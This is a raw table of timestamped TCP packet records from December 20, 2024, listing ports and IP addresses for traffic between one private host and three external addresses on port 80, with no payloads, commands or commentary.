Dec 20, 2024 21:13:38.355123043 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.355173111 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.355895042 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.355937958 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.356070042 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.356554031 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.357168913 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.357209921 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.486704111 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.487301111 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.487318993 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.487366915 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.487382889 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.487407923 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.487426043 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.488495111 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.488543034 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.489047050 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.489090919 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.489684105 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.489733934 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:38.491046906 CET	80	49920	31.41.244.11	192.168.2.6
Dec 20, 2024 21:13:38.491094112 CET	49920	80	192.168.2.6	31.41.244.11
Dec 20, 2024 21:13:40.030138969 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.149698973 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.149791002 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.150898933 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.270634890 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.270647049 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.270668030 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.270715952 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.371840000 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.371850967 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.371859074 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.371867895 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.371876955 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.371889114 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.371892929 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.371932030 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.371979952 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.491906881 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.491918087 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.491925955 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.491935015 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.491944075 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.491952896 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.491986990 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.492033005 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.533675909 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.533797979 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.653388023 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.653470993 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.693639994 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.693711996 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.813246965 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.813308954 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.973613024 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:40.973916054 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:40.991707087 CET	49915	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:40.992070913 CET	49937	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:41.114155054 CET	80	49937	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:41.114221096 CET	80	49915	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:41.114273071 CET	49937	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:41.114289045 CET	49915	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:41.114680052 CET	49937	80	192.168.2.6	185.215.113.43
Dec 20, 2024 21:13:41.135437012 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.136676073 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.136769056 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.234100103 CET	80	49937	185.215.113.43	192.168.2.6
Dec 20, 2024 21:13:41.256747961 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.256771088 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.256879091 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.256896019 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.256905079 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.256946087 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.256954908 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.256988049 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257014990 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.257241011 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257271051 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257309914 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.257345915 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257392883 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.257437944 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257479906 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.257491112 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257529974 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257581949 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.257733107 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257828951 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257868052 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257879972 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.257917881 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.257939100 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.257971048 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258059978 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258111000 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258250952 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258337021 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258423090 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258549929 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258582115 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258681059 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258733988 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258837938 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.258966923 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.259018898 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.259099960 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.259192944 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.259280920 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.259351015 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.260334015 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.376857042 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.376949072 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377068996 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377069950 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.377182007 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377233982 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.377271891 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377363920 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377441883 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377556086 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377672911 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.377815962 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.378220081 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.378228903 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.378237963 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.378365993 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.378376961 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.378489017 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.378798008 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.379914999 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.379971027 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.379987955 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380017042 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380074024 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380104065 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380120039 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380223036 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380271912 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380280018 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380323887 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380389929 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380428076 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380430937 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380574942 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380619049 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380626917 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380739927 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380786896 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380794048 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380830050 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.380913019 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.380939960 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381063938 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381114006 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381205082 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381212950 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381314039 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381423950 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381460905 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381495953 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381593943 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381627083 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381763935 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381834030 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381959915 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.381968021 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382107973 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382164955 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382294893 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382303953 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382354975 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382400036 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382550001 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382591963 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382704020 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382713079 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382831097 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382877111 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.382961035 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.383011103 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.383100986 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.383150101 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.383245945 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.383265018 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.383379936 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.496891975 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.496932030 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.497075081 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.497150898 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.497271061 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.497279882 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.497299910 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498375893 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498541117 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498557091 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498614073 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498622894 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498689890 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498716116 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498817921 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498847008 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498944044 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.498960018 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499129057 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499138117 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499262094 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499288082 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499373913 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499382973 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499425888 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499464035 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499516010 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499568939 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499624968 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499671936 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499921083 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.499931097 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500042915 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500051975 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500133991 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500200033 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500307083 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500315905 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500396967 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500487089 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500498056 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500507116 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500590086 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500600100 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500627041 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500677109 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500740051 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500808954 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500818968 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500917912 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.500962019 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501013041 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501054049 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501172066 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501202106 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501316071 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501324892 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501430988 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501441002 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501482010 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.501491070 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.522419930 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.522538900 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.522538900 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.522603035 CET	49932	80	192.168.2.6	185.121.15.192
Dec 20, 2024 21:13:41.642173052 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642188072 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642230988 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642240047 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642312050 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642321110 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642424107 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642433882 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642465115 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642504930 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642565966 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642616034 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642672062 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642680883 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642751932 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642760992 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642846107 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642904043 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642966032 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.642976046 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643062115 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643070936 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643171072 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643232107 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643331051 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643357038 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643491030 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643548012 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643557072 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643625975 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643671989 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643682957 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643767118 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643815994 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643882990 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.643927097 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644023895 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644103050 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644226074 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644234896 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644299030 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644308090 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644352913 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644421101 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644431114 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644440889 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644527912 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644537926 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644615889 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644623995 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644673109 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644682884 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644766092 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644773960 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644814968 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644857883 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644907951 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644941092 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644984007 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.644996881 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645039082 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645086050 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645170927 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645179987 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645267010 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645276070 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645283937 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645392895 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645401955 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645409107 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645437002 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645446062 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645454884 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645462990 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645571947 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645580053 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645584106 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645595074 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645629883 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645674944 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645723104 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645752907 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645834923 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645844936 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645931005 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645939112 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645983934 CET	80	49932	185.121.15.192	192.168.2.6
Dec 20, 2024 21:13:41.645992994 CET	80	49932	185.121.15.192	192.168.2.6
